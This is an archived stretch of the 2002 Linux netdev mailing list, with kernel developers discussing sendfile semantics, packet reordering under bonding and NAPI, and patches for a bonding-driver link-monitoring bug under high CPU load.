linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <12116.1032216780@redhat.com> <12293.1032217399@redhat.com> <3D86645F.5030401@mandrakesoft.com> <20020916.160210.70782700.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 211 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev David S. Miller wrote: > From: Jeff Garzik > Date: Mon, 16 Sep 2002 19:08:15 -0400 > > I was rather disappointed when file->file sendfile was [purposefully?] > broken in 2.5.x... > > What change made this happen? I dunno when it happened, but 2.5.x now returns EINVAL for all file->file cases. In 2.4.x, if sendpage is NULL, file_send_actor in mm/filemap.c faked a call to fops->write(). In 2.5.x, if sendpage is NULL, EINVAL is unconditionally returned. From davem@redhat.com Mon Sep 16 16:47:59 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 16:48:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GNlxtG028046 for ; Mon, 16 Sep 2002 16:47:59 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA10633; Mon, 16 Sep 2002 16:43:44 -0700 Date: Mon, 16 Sep 2002 16:43:43 -0700 (PDT) Message-Id: <20020916.164343.128145825.davem@redhat.com> To: jgarzik@mandrakesoft.com Cc: dwmw2@infradead.org, linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <3D866DD5.4080207@mandrakesoft.com> References: <3D86645F.5030401@mandrakesoft.com> <20020916.160210.70782700.davem@redhat.com> <3D866DD5.4080207@mandrakesoft.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 212 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Jeff Garzik Date: Mon, 16 Sep 2002 19:48:37 -0400 I dunno when it happened, but 2.5.x now returns EINVAL for all file->file cases. In 2.4.x, if sendpage is NULL, file_send_actor in mm/filemap.c faked a call to fops->write(). In 2.5.x, if sendpage is NULL, EINVAL is unconditionally returned. What if source and destination file and offsets match? Sounds like 2.4.x might deadlock. In fact it sounds similar to the "read() with buf pointed to same page in MAP_WRITE mmap()'d area" deadlock we had ages ago. From jgarzik@mandrakesoft.com Mon Sep 16 16:57:02 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 16:57:05 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GNv1tG028487 for ; Mon, 16 Sep 2002 16:57:02 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17r5oS-0000QV-00; Tue, 17 Sep 2002 01:01:56 +0100 Message-ID: <3D8670D4.9040801@mandrakesoft.com> Date: Mon, 16 Sep 2002 20:01:24 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: dwmw2@infradead.org, linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D86645F.5030401@mandrakesoft.com> <20020916.160210.70782700.davem@redhat.com> <3D866DD5.4080207@mandrakesoft.com> <20020916.164343.128145825.davem@redhat.com> Content-Type: multipart/mixed; boundary="------------060600040500080402020405" X-archive-position: 213 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------060600040500080402020405 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit David S. Miller wrote: > From: Jeff Garzik > Date: Mon, 16 Sep 2002 19:48:37 -0400 > > I dunno when it happened, but 2.5.x now returns EINVAL for all > file->file cases. > > In 2.4.x, if sendpage is NULL, file_send_actor in mm/filemap.c faked a > call to fops->write(). > In 2.5.x, if sendpage is NULL, EINVAL is unconditionally returned. > > > What if source and destination file and offsets match? The same data is written out. No deadlock. (unless the attached test is wrong) Jeff --------------060600040500080402020405 Content-Type: text/plain; name="sendfile-test-2.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="sendfile-test-2.c" #include #include #include #include #include #include #include int main (int argc, char *argv[]) { int in, out; struct stat st; off_t off = 0; ssize_t rc; in = open("test.data", O_RDONLY); if (in < 0) { perror("test.data read"); return 1; } fstat(in, &st); out = open("test.data", O_WRONLY); if (out < 0) { perror("test.data write"); return 1; } rc = sendfile(out, in, &off, st.st_size); if (rc < 0) { perror("sendfile"); close(in); unlink("out"); close(out); return 1; } close(in); close(out); return 0; } --------------060600040500080402020405-- From hadi@cyberus.ca Tue Sep 17 03:19:07 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 03:19:10 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HAJ6tG010108 for ; Tue, 17 Sep 2002 03:19:06 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id GAA12849; Tue, 17 Sep 2002 06:23:59 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8HAGpM01475; Tue, 17 Sep 2002 06:16:59 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 17 Sep 2002 06:16:51 -0400 (EDT) From: jamal To: Ben Greear cc: Chris Friesen , Cacophonix , , Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation In-Reply-To: <3D860246.3060609@candelatech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 214 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 16 Sep 2002, Ben Greear wrote: > Also, I notice lots of out-of-order packets on a single gigE link when running at high > speeds (SMP machine), so the kernel is still having to reorder quite a few packets. > Has anyone done any tests to see how much worse it is with dual-port bonding? It will depend on the scheduling algorithm used. Always remember that reordering is BAD for TCP and you shall be fine. Typical for TCP you want to run a single flow onto a single NIC. If you are running some UDP type control app in a cluster environment where ordering is a non-issue then you could maximize throughput by sending as fast as you can on all interfaces. > > NAPI helps my problem, but does not make it go away entirely. > Could you be more specific as to where you see reordering with NAPI? Please dont disappear. What us it that you see that makes you believe theres reordering with NAPI i.edescribe your test setup etc. cheers, jamal From hadi@cyberus.ca Tue Sep 17 03:33:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 03:33:16 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HAXDtG011357 for ; Tue, 17 Sep 2002 03:33:14 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id GAA15143; Tue, 17 Sep 2002 06:38:04 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8HAV3M01501; Tue, 17 Sep 2002 06:31:03 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Tue, 17 Sep 2002 06:31:03 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , , , Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020916.125211.82482173.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 215 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 16 Sep 2002, David S. Miller wrote: > From: todd-lkml@osogrande.com > Date: Mon, 16 Sep 2002 08:16:47 -0600 (MDT) > > are there any standards in progress to support this. > > Your question makes no sense, it is a hardware optimization > of an existing standard. The chip merely is told what flows > exist and it concatenates TCP data from consequetive packets > for that flow if they arrive in sequence. > Hrm. Again, the big Q: How "thmart" is this NIC going to be (think congestion control and the du-jour flavor). cheers, jamal From greearb@candelatech.com Tue Sep 17 09:39:15 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 09:39:19 -0700 (PDT) Received: from grok.yi.org (IDENT:fDHp/qQcEe1K1Ccsdpw2mF+SLuhUsKl6@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HGdCtG008750 for ; Tue, 17 Sep 2002 09:39:14 -0700 Received: from candelatech.com (IDENT:MO0wnSoFaBCJUhQEQ+qgZipsOkBZvwQM@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8HGhLv14389; Tue, 17 Sep 2002 09:43:22 -0700 Message-ID: <3D875BA9.70501@candelatech.com> Date: Tue, 17 Sep 2002 09:43:21 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jamal CC: Chris Friesen , Cacophonix , linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 216 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev jamal wrote: > > On Mon, 16 Sep 2002, Ben Greear wrote: > > >>Also, I notice lots of out-of-order packets on a single gigE link when running at high >>speeds (SMP machine), so the kernel is still having to reorder quite a few packets. >>Has anyone done any tests to see how much worse it is with dual-port bonding? > > > It will depend on the scheduling algorithm used. > Always remember that reordering is BAD for TCP and you shall be fine. > Typical for TCP you want to run a single flow onto a single NIC. > If you are running some UDP type control app in a cluster environment > where ordering is a non-issue then you could maximize throughput > by sending as fast as you can on all interfaces. > > >>NAPI helps my problem, but does not make it go away entirely. >> > > > Could you be more specific as to where you see reordering with NAPI? > Please dont disappear. What us it that you see that makes you believe > theres reordering with NAPI i.edescribe your test setup etc. I have a program that sends and receives UDP packets with 32-bit sequence numbers. I can detect OOO packets if they fit into the last 10 packets received. If they are farther out of order than that, the code treats them as dropped.... I used smp_afinity to tie a NIC to a CPU, and the napi patch for 2.4.20-pre7. When sending and receiving 250Mbps of UDP/IP traffic (sending over cross-over cable to other NIC on same machine), I see the occasional OOO packet. I also see bogus dropped packets, which means sometimes the order is off by 10 or more packets.... The other fun thing about this setup is that after running around 65 billion bytes with this test, the machine crashes with an OOPs. I can repeat this at will, but so far only on this dual-proc machine, and only using the e1000 driver (NAPI or regular). Soon, I'll test with a 4-port tulip NIC to see if I can take the e1000 out of the equation... I can also repeat the at slower speeds (50Mbps send & recieve), and using the pktgen tool. If anyone else is running high sustained SEND & RECEIVE traffic, I would be interested to know their stability! I have had a single-proc machine running the exact same (SMP) kernel as the dual-proc machine, but using the tulip driver, and it has run solid for 2 days, sending & receiving over 1.3 trillion bytes :) Thanks, Ben > > cheers, > jamal > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From tony.cureington@hp.com Tue Sep 17 12:23:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 12:24:05 -0700 (PDT) Received: from zcamail04.zca.compaq.com (zcamail04.zca.compaq.com [161.114.32.104]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HJNwtG018081 for ; Tue, 17 Sep 2002 12:23:58 -0700 Received: from cacexg11.americas.cpqcorp.net (cacexg11.americas.cpqcorp.net [16.105.250.94]) by zcamail04.zca.compaq.com (Postfix) with ESMTP id 99BE524BB; Tue, 17 Sep 2002 12:28:53 -0700 (PDT) Received: from txnexc01.americas.cpqcorp.net ([16.74.7.244]) by cacexg11.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Tue, 17 Sep 2002 12:28:53 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: [Bonding-devel] Re: Bonding driver unreliable under high CPU load Date: Tue, 17 Sep 2002 14:28:52 -0500 Message-ID: <72A87F7160C0994D8C5A36E2FDC227F502B3E70D@txnexc01.americas.cpqcorp.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Bonding-devel] Re: Bonding driver unreliable under high CPU load Thread-Index: AcJcZbqPiL/rs1EGQVSwvbWe/BplIgCDI5pQ From: "Cureington, Tony" To: "Andrew Morton" , "Pascal Brisset" Cc: , X-OriginalArrivalTime: 17 Sep 2002 19:28:53.0361 (UTC) FILETIME=[751F5E10:01C25E80] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g8HJNwtG018081 X-archive-position: 217 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tony.cureington@hp.com Precedence: bulk X-list: netdev I've been running some similar code (on 2.4.18) that makes the ioctl a macro - we must handle the MII ioctls too. The patch below also corrects the mii pointer being assigned the address of a pointer (&ifr.ifr_data, ifr_data is a macro that produces a pointer) instead of the pointer itself. The patch: --- linux-2.4.20-pre7/drivers/net/bonding.c Tue Sep 17 09:54:35 2002 +++ linux-2.4.20-pre7_mod/drivers/net/bonding.c Tue Sep 17 11:18:28 2002 @@ -316,6 +316,28 @@ #define IS_UP(dev) ((((dev)->flags & (IFF_UP)) == (IFF_UP)) && \ (netif_running(dev) && netif_carrier_ok(dev))) +/* this IOCTL macro is used to prevent network drivers from returning -EFAULT + * from the ioctl, returning -EFAULT causes a link up status to be returned + * from bond_check_dev_link even when the link is even connected. this macro + * allows the get_user/copy_from_user in network drivers ioctls to work without + * intermittently returning -EFAULT. this turns off argument validity + * checking on the address passed to the network driver ioctl. + * + * this method of turning off argument validity checking is also used in the + * following drivers: + * /usr/src/linux/drivers/addon/iscsi/; addon/cpip; net/hamradio; + * net/wan; sound/; + * + * ioctl must be set to dev->do_ioctl before this macro + */ +#define IOCTL(dev, arg, cmd) ({ \ + int ret; \ + mm_segment_t fs = get_fs(); \ + set_fs(get_ds()); \ + ret = ioctl(dev, arg, cmd); \ + set_fs(fs); \ + ret; }) + static void bond_restore_slave_flags(slave_t *slave) { slave->dev->flags = slave->original_flags; @@ -416,7 +438,7 @@ /* effect... */ etool.cmd = ETHTOOL_GLINK; ifr.ifr_data = (char*)&etool; - if (ioctl(dev, &ifr, SIOCETHTOOL) == 0) { + if (IOCTL(dev, &ifr, SIOCETHTOOL) == 0) { if (etool.data == 1) { return(MII_LINK_READY); } @@ -431,13 +453,13 @@ */ /* Yes, the mii is overlaid on the ifreq.ifr_ifru */ - mii = (struct mii_ioctl_data *)&ifr.ifr_data; - if (ioctl(dev, &ifr, SIOCGMIIPHY) != 0) { + mii = (struct mii_ioctl_data *)ifr.ifr_data; + if (IOCTL(dev, &ifr, SIOCGMIIPHY) != 0) { return MII_LINK_READY; /* can't tell */ } mii->reg_num = 1; - if (ioctl(dev, &ifr, SIOCGMIIREG) == 0) { + if (IOCTL(dev, &ifr, SIOCGMIIREG) == 0) { /* * mii->val_out contains MII reg 1, BMSR * 0x0004 means link established > -----Original Message----- > From: Andrew Morton [mailto:akpm@digeo.com] > Sent: Saturday, September 14, 2002 10:24 PM > To: Pascal Brisset > Cc: bonding-devel@lists.sourceforge.net; netdev@oss.sgi.com > Subject: [Bonding-devel] Re: Bonding driver unreliable under high CPU > load > > > Pascal Brisset wrote: > > > > I would like to confirm the problem reported by Tony Cureington at > > > http://sourceforge.net/mailarchive/forum.php?thread_id=1015008 > &forum_id=2094 > > > > Problem: In MII-monitoring mode, when the CPU load is high, > > the ethernet bonding driver silently fails to detect dead links. > > > > How to reproduce: > > i686, 2.4.19; "modprobe bonding mode=1 miimon=100"; ifenslave two > > interfaces; ping while you plug/unplug cables. Bonding will > > switch to the available interface, as expected. Now load the CPU > > with "while(1) { }", and failover will not work at all anymore. > > > > Explanation: > > The bonding driver monitors the state of its slave interfaces by > > calling their dev->do_ioctl(SIOCGMIIREG|ETHTOOL_GLINK) from a > > timer callback function. Whenever this occurs during a user task, > > the get_user() in the ioctl handling code of the slave fails with > > -EFAULT because the ifreq struct is allocated in the stack of the > > timer function, above 0xC0000000. In that case, the bonding driver > > considers the link up by default. > > > > This problem went unnoticed because for most applications, when the > > active link dies, the host becomes idle and the monitoring function > > gets a chance to run during a kernel thread (in which case > it works). > > The active-backup switchover is just slower than it should be. > > Serious trouble only happens when the active link dies > during a long, > > CPU-intensive job. > > > > Is anyone working on a fix ? Maybe running the monitoring stuff in > > a dedicated task ? > > Running the ioctl in interrupt context is bad. Probably what should > happen here is that the whole link monitoring function be pushed up > to process context via a schedule_task() callout, or a do it in a > dedicated kernel thread. > > This patch will probably make it work, but the slave device's > ioctl simply > isn't designed to be called from this context - it could try to take > a semaphore, or a non-interrupt-safe lock or anything. > > --- linux-2.4.20-pre7/drivers/net/bonding.c Thu Sep 12 20:35:22 2002 > +++ linux-akpm/drivers/net/bonding.c Sat Sep 14 20:23:45 2002 > @@ -208,6 +208,7 @@ > #include > #include > #include > +#include > #include > > #include > @@ -401,6 +402,7 @@ static u16 bond_check_dev_link(struct ne > struct ifreq ifr; > struct mii_ioctl_data *mii; > struct ethtool_value etool; > + int ioctl_ret; > > if ((ioctl = dev->do_ioctl) != NULL) { /* ioctl to > access MII */ > /* TODO: set pointer to correct ioctl on a per > team member */ > @@ -416,7 +418,13 @@ static u16 bond_check_dev_link(struct ne > /* effect... > */ > etool.cmd = ETHTOOL_GLINK; > ifr.ifr_data = (char*)&etool; > - if (ioctl(dev, &ifr, SIOCETHTOOL) == 0) { > + { > + mm_segment_t old_fs = get_fs(); > + set_fs(KERNEL_DS); > + ioctl_ret = ioctl(dev, &ifr, SIOCETHTOOL); > + set_fs(old_fs); > + } > + if (ioctl_ret == 0) { > if (etool.data == 1) { > return(MII_LINK_READY); > } > > > - > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Bonding-devel mailing list > Bonding-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/bonding-devel > From fubar@us.ibm.com Tue Sep 17 12:42:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 12:42:14 -0700 (PDT) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HJg9tG018686 for ; Tue, 17 Sep 2002 12:42:10 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8HJkjj2143698; Tue, 17 Sep 2002 15:46:45 -0400 Received: from d03nm035.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8HJke4I076310; Tue, 17 Sep 2002 15:46:41 -0400 From: "Jay Vosburgh" Importance: Normal Sensitivity: Subject: RE: [Bonding-devel] Re: Bonding driver unreliable under high CPU load To: "Cureington, Tony" Cc: "Andrew Morton" , "Pascal Brisset" , , X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: Date: Tue, 17 Sep 2002 12:46:37 -0700 X-MIMETrack: Serialize by Router on D03NM035/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/17/2002 01:46:43 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 218 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Actually, judging from how other drivers do this, the mii_ioctl_data structure is really supposed to be assigned to &ifr.ifr_data. I dont believe there is any storage where ifr_data points, and the ifr_ifru union is 16 bytes, which is the size of the mii_ioctl_data structure. -J "Cureington, Tony" @lists.sourceforge.net on 09/17/2002 12:28:52 PM Sent by: bonding-devel-admin@lists.sourceforge.net To: "Andrew Morton" , "Pascal Brisset" cc: , Subject: RE: [Bonding-devel] Re: Bonding driver unreliable under high CPU load I've been running some similar code (on 2.4.18) that makes the ioctl a macro - we must handle the MII ioctls too. The patch below also corrects the mii pointer being assigned the address of a pointer (&ifr.ifr_data, ifr_data is a macro that produces a pointer) instead of the pointer itself. The patch: --- linux-2.4.20-pre7/drivers/net/bonding.c Tue Sep 17 09:54:35 2002 +++ linux-2.4.20-pre7_mod/drivers/net/bonding.c Tue Sep 17 11:18:28 2002 @@ -316,6 +316,28 @@ #define IS_UP(dev) ((((dev)->flags & (IFF_UP)) == (IFF_UP)) && \ (netif_running(dev) && netif_carrier_ok(dev))) +/* this IOCTL macro is used to prevent network drivers from returning -EFAULT + * from the ioctl, returning -EFAULT causes a link up status to be returned + * from bond_check_dev_link even when the link is even connected. this macro + * allows the get_user/copy_from_user in network drivers ioctls to work without + * intermittently returning -EFAULT. this turns off argument validity + * checking on the address passed to the network driver ioctl. + * + * this method of turning off argument validity checking is also used in the + * following drivers: + * /usr/src/linux/drivers/addon/iscsi/; addon/cpip; net/hamradio; + * net/wan; sound/; + * + * ioctl must be set to dev->do_ioctl before this macro + */ +#define IOCTL(dev, arg, cmd) ({ \ + int ret; \ + mm_segment_t fs = get_fs(); \ + set_fs(get_ds()); \ + ret = ioctl(dev, arg, cmd); \ + set_fs(fs); \ + ret; }) + static void bond_restore_slave_flags(slave_t *slave) { slave->dev->flags = slave->original_flags; @@ -416,7 +438,7 @@ /* effect... */ etool.cmd = ETHTOOL_GLINK; ifr.ifr_data = (char*)&etool; - if (ioctl(dev, &ifr, SIOCETHTOOL) == 0) { + if (IOCTL(dev, &ifr, SIOCETHTOOL) == 0) { if (etool.data == 1) { return(MII_LINK_READY); } @@ -431,13 +453,13 @@ */ /* Yes, the mii is overlaid on the ifreq.ifr_ifru */ - mii = (struct mii_ioctl_data *)&ifr.ifr_data; - if (ioctl(dev, &ifr, SIOCGMIIPHY) != 0) { + mii = (struct mii_ioctl_data *)ifr.ifr_data; + if (IOCTL(dev, &ifr, SIOCGMIIPHY) != 0) { return MII_LINK_READY; /* can't tell */ } mii->reg_num = 1; - if (ioctl(dev, &ifr, SIOCGMIIREG) == 0) { + if (IOCTL(dev, &ifr, SIOCGMIIREG) == 0) { /* * mii->val_out contains MII reg 1, BMSR * 0x0004 means link established > -----Original Message----- > From: Andrew Morton [mailto:akpm@digeo.com] > Sent: Saturday, September 14, 2002 10:24 PM > To: Pascal Brisset > Cc: bonding-devel@lists.sourceforge.net; netdev@oss.sgi.com > Subject: [Bonding-devel] Re: Bonding driver unreliable under high CPU > load > > > Pascal Brisset wrote: > > > > I would like to confirm the problem reported by Tony Cureington at > > > http://sourceforge.net/mailarchive/forum.php?thread_id=1015008 > &forum_id=2094 > > > > Problem: In MII-monitoring mode, when the CPU load is high, > > the ethernet bonding driver silently fails to detect dead links. > > > > How to reproduce: > > i686, 2.4.19; "modprobe bonding mode=1 miimon=100"; ifenslave two > > interfaces; ping while you plug/unplug cables. Bonding will > > switch to the available interface, as expected. Now load the CPU > > with "while(1) { }", and failover will not work at all anymore. > > > > Explanation: > > The bonding driver monitors the state of its slave interfaces by > > calling their dev->do_ioctl(SIOCGMIIREG|ETHTOOL_GLINK) from a > > timer callback function. Whenever this occurs during a user task, > > the get_user() in the ioctl handling code of the slave fails with > > -EFAULT because the ifreq struct is allocated in the stack of the > > timer function, above 0xC0000000. In that case, the bonding driver > > considers the link up by default. > > > > This problem went unnoticed because for most applications, when the > > active link dies, the host becomes idle and the monitoring function > > gets a chance to run during a kernel thread (in which case > it works). > > The active-backup switchover is just slower than it should be. > > Serious trouble only happens when the active link dies > during a long, > > CPU-intensive job. > > > > Is anyone working on a fix ? Maybe running the monitoring stuff in > > a dedicated task ? > > Running the ioctl in interrupt context is bad. Probably what should > happen here is that the whole link monitoring function be pushed up > to process context via a schedule_task() callout, or a do it in a > dedicated kernel thread. > > This patch will probably make it work, but the slave device's > ioctl simply > isn't designed to be called from this context - it could try to take > a semaphore, or a non-interrupt-safe lock or anything. > > --- linux-2.4.20-pre7/drivers/net/bonding.c Thu Sep 12 20:35:22 2002 > +++ linux-akpm/drivers/net/bonding.c Sat Sep 14 20:23:45 2002 > @@ -208,6 +208,7 @@ > #include > #include > #include > +#include > #include > > #include > @@ -401,6 +402,7 @@ static u16 bond_check_dev_link(struct ne > struct ifreq ifr; > struct mii_ioctl_data *mii; > struct ethtool_value etool; > + int ioctl_ret; > > if ((ioctl = dev->do_ioctl) != NULL) { /* ioctl to > access MII */ > /* TODO: set pointer to correct ioctl on a per > team member */ > @@ -416,7 +418,13 @@ static u16 bond_check_dev_link(struct ne > /* effect... > */ > etool.cmd = ETHTOOL_GLINK; > ifr.ifr_data = (char*)&etool; > - if (ioctl(dev, &ifr, SIOCETHTOOL) == 0) { > + { > + mm_segment_t old_fs = get_fs(); > + set_fs(KERNEL_DS); > + ioctl_ret = ioctl(dev, &ifr, SIOCETHTOOL); > + set_fs(old_fs); > + } > + if (ioctl_ret == 0) { > if (etool.data == 1) { > return(MII_LINK_READY); > } > > > - > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Bonding-devel mailing list > Bonding-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/bonding-devel > ------------------------------------------------------- This SF.NET email is sponsored by: AMD - Your access to the experts on Hammer Technology! Open Source & Linux Developers, register now for the AMD Developer Symposium. Code: EX8664 http://www.developwithamd.com/developerlab _______________________________________________ Bonding-devel mailing list Bonding-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/bonding-devel From Andrew.Morton@digeo.com Tue Sep 17 12:48:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 12:48:52 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HJmltG019442 for ; Tue, 17 Sep 2002 12:48:47 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id MAA27639 for ; Tue, 17 Sep 2002 12:53:41 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091712574308077 ; Tue, 17 Sep 2002 12:57:43 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 12:53:40 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 12:53:36 -0700 Message-ID: <3D878841.EB580DE9@digeo.com> Date: Tue, 17 Sep 2002 12:53:37 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Garzik CC: "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: <72A87F7160C0994D8C5A36E2FDC227F502B3E70D@txnexc01.americas.cpqcorp.net> <3D878675.3000403@mandrakesoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Sep 2002 19:53:37.0115 (UTC) FILETIME=[E98242B0:01C25E83] X-archive-position: 219 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev Jeff Garzik wrote: > > ... > 